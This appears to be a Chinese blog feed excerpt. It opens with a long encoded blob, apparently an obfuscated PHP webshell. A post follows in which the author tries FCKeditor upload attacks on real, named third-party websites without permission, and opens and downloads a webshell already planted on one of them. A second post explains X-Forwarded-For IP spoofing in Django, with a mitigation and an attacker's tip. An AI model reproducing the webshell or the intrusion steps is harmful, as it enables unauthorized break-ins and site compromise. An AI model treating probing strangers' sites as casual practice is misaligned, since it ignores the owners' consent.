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'\x29\x29\x29\x3B",".");?>

好吧,继续,又上传1.php3,无法上传,上传1.php4,上传成功,但打开后发现没有被解释执行。又上传.htaccess文件,试图让1.php4被当做php文件解析执行,虽上传成功,但没能奏效。又上传1.PHP和1.php5,皆被阻止,无法上传。

百度可知,FCKeditor/_whatsnew.html可以看到FCKeditor的版本,打开http://admin.balaton.cn/FCKeditor/_whatsnew.html, 看到版本是2.4.2。但这又如何呢?好像没什么用。

又发现该站存在目录遍历问题,于是很简单的就找到了FCKeditor的upload.php,打开一看,竟然看到的也是源码!!!拿到这不是php站,就是啊?原生的php怎么都不执行,但若不执行,我又是如何上传文件的。搞不清楚,只好放弃。唯一的收获就是那个还不知道有什么用的webshell了。

换个网站继续

再次谷歌,这次加上inurl:asp,因为前两次都是php的站,都没成功,这次试一下asp的站。随便打开一个,竟是中国政府网站,大概看看,有很多很多doc和xls文件。还是关掉吧,遇到gov要绕着走。

另外,发现asp的网站中有一大半是中国的,看来微软在中国很吃得开。

换个网站,http://aa-art.co.il/art-admin/fckeditor/editor/filemanager/browser/default/browser.html?Connector=connectors/asp/connector.asp, 是个以色列的网站,打开看看,看到文件shell.cer,一看就是个webshell,尝试打开它,竟然成功了,如下图所示:

折腾了这么久,终于遇到一个可用的webshell,好不容易。嗯,是个很强大的shell,当然顺手就下载了一份。但在用这个shell上传文件时发现,没有写文件权限,所以我还是没能连上菜刀。也真不知道它是怎么传上去的。好了,周么也要结束了,就玩到这里吧。

总结:

我对FCKeditor是否存在上传漏洞是持有怀疑的,作为富文本编辑器,FCKeditor具有文件上传功能是很正常的。至于不需要登录验证,就能打开文件上传页面,完全是使用FCKeditor的网站的事,关FCKeditor何事?至于文件过滤,较新版本的FCKeditor进行了较为良好的过滤,而各种各样、层出不穷的文件解析漏洞,是Web容器的祸,又干FCKeditor何事?

总结下,利用文件上传漏洞,第一步是上传文件,第二步是解析执行,两部息息相关。文件上传,一是要能上传成功,过滤、权限等都可能导致上传失败;二是要知道上传后的文件存储在哪里,叫什么名字,能通过URL访问到上传的文件。解析执行,往往要设置到Web容器的文件解析漏洞,需要攻击者提前就熟悉这些漏洞,像我这般,边百度边做,在实战中,大抵是不行的。

FCKeditor本身有个好处有个坑,好处是上传的文件文件名往往不变,坏处是文件列表中只有文件名,点击文件名不能打开文件,乍一看是不知道路径的。其实,只要抓包就会发现,路径是给出了的,只是没显示出来,如下图所示:

这是看源码也看不到的,只有抓包才不会遗漏任何信息。渗透测试时一定不要偷懒,该抓包就抓包。

忙活了一整体也没成功一次,主要是自己太菜了。接下来,先学习总结下各种文件解析漏洞吧。

]]>
https://blog.werner.wiki/eckeditor-update-vuln/feed/ 0
WEB应用取访问者IP时的一个小坑 https://blog.werner.wiki/web-take-visitor-ip/ https://blog.werner.wiki/web-take-visitor-ip/#respond Wed, 26 Apr 2017 06:36:42 +0000 http://blog.werner.wiki/?p=210 WEB应用取访问者IP时有一个小坑,以下均以Django为例,其他语言或框架同理。

百度“Django 取ip”,找到几种不同的代码,但其本质相同,取其中一种具有代表性的摘录如下:

    if 'HTTP_X_FORWARDED_FOR' in request.META:
          client_ip = request.META['HTTP_X_FORWARDED_FOR']  
          client_ip = client_ip.split(",")[0]  
    else:
          client_ip = request.META['REMOTE_ADDR']  

这个代码来自《python django 获取用户IP地址的方法》
看上去很完美,当存在“HTTP_X_FORWARDED_FOR”,即HTTP头中有“X-Forwarded-For”字段时,取该字段的值,并对其值按“,”分割,取分割出结果的第一项作为用户IP。

“X-Forwarded-For”字段本应是透明HTTP代理添加的,以告诉服务器,是在为谁转发,当有多个代理时,依次在此字段后追加IP地址,并用英文逗号和空格隔开,如用户IP是1.1.1.1,第一个代理的IP是2.2.2.2,第二个代理的IP是3.3.3.3,若两个代理都是透明代理,则服务器收到的HTTP请求的“X-Forwarded-For”字段的值应当是(暂不考虑反向代理):

    X-Forwarded-For: 1.1.1.1, 2.2.2.2

1.1.1.1是第一个代理添加的,2.2.2.2是第二个代理添加的,它在为第一个代理转发数据。服务器和第二个代理建立TCP连接,故服务器也知道第二个代理的IP是3.3.3.3。

若所有人都是诚实的,那么这段取IP地址的代码便没有问题。但并不是所有人都是诚实的,HTTP头部字段可以伪造。用户可能直接连接了服务器,但它也可以自己填写“X-Forwarded-For”字段的值为“3.3.3.3, 2.2.2.2”,这样,服务器便以为用户IP是3.3.3.3了,下一次,用户可以填写“X-Forwarded-For”字段的值为“4.4.4.4”,这样服务器便又以为用户IP是4.4.4.4了。

更有甚者,用户还可以不填写“X-Forwarded-For”字段的值为一个IP地址,而是一个sql注入语句,这就造成了HTTP头注入,当然,在Django中不存在这个问题,但在php等语言中这可能会是很严重的问题。

在所有IP地址中,只有最终与服务器建立TCP连接的IP地址是可信的,其他IP地址均可伪造,故出于安全的考虑应将与服务器建立TCP连接的IP地址作为用户IP,就算它是HTTP代理。若非要取“X-Forwarded-For”字段的值,则应注意检查IP地址格式是否正确,防止注入等攻击。

从攻击者的角度考虑,若是遇到某个网站,当我使用透明代理(也就是会填写“X-Forwarded-For”字段的代理)时,仍能得知我的真正IP,那么我应该感到高兴,因为这说明该网站是从“X-Forwarded-For”字段读IP地址的,我只需要伪造该字段,便可以不停“更换”自己的IP地址了。

]]>
https://blog.werner.wiki/web-take-visitor-ip/feed/ 0